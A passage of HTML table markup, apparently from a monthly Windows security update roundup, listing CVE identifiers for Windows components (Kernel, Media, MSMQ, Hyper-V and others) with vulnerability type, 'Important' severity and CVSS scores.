  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
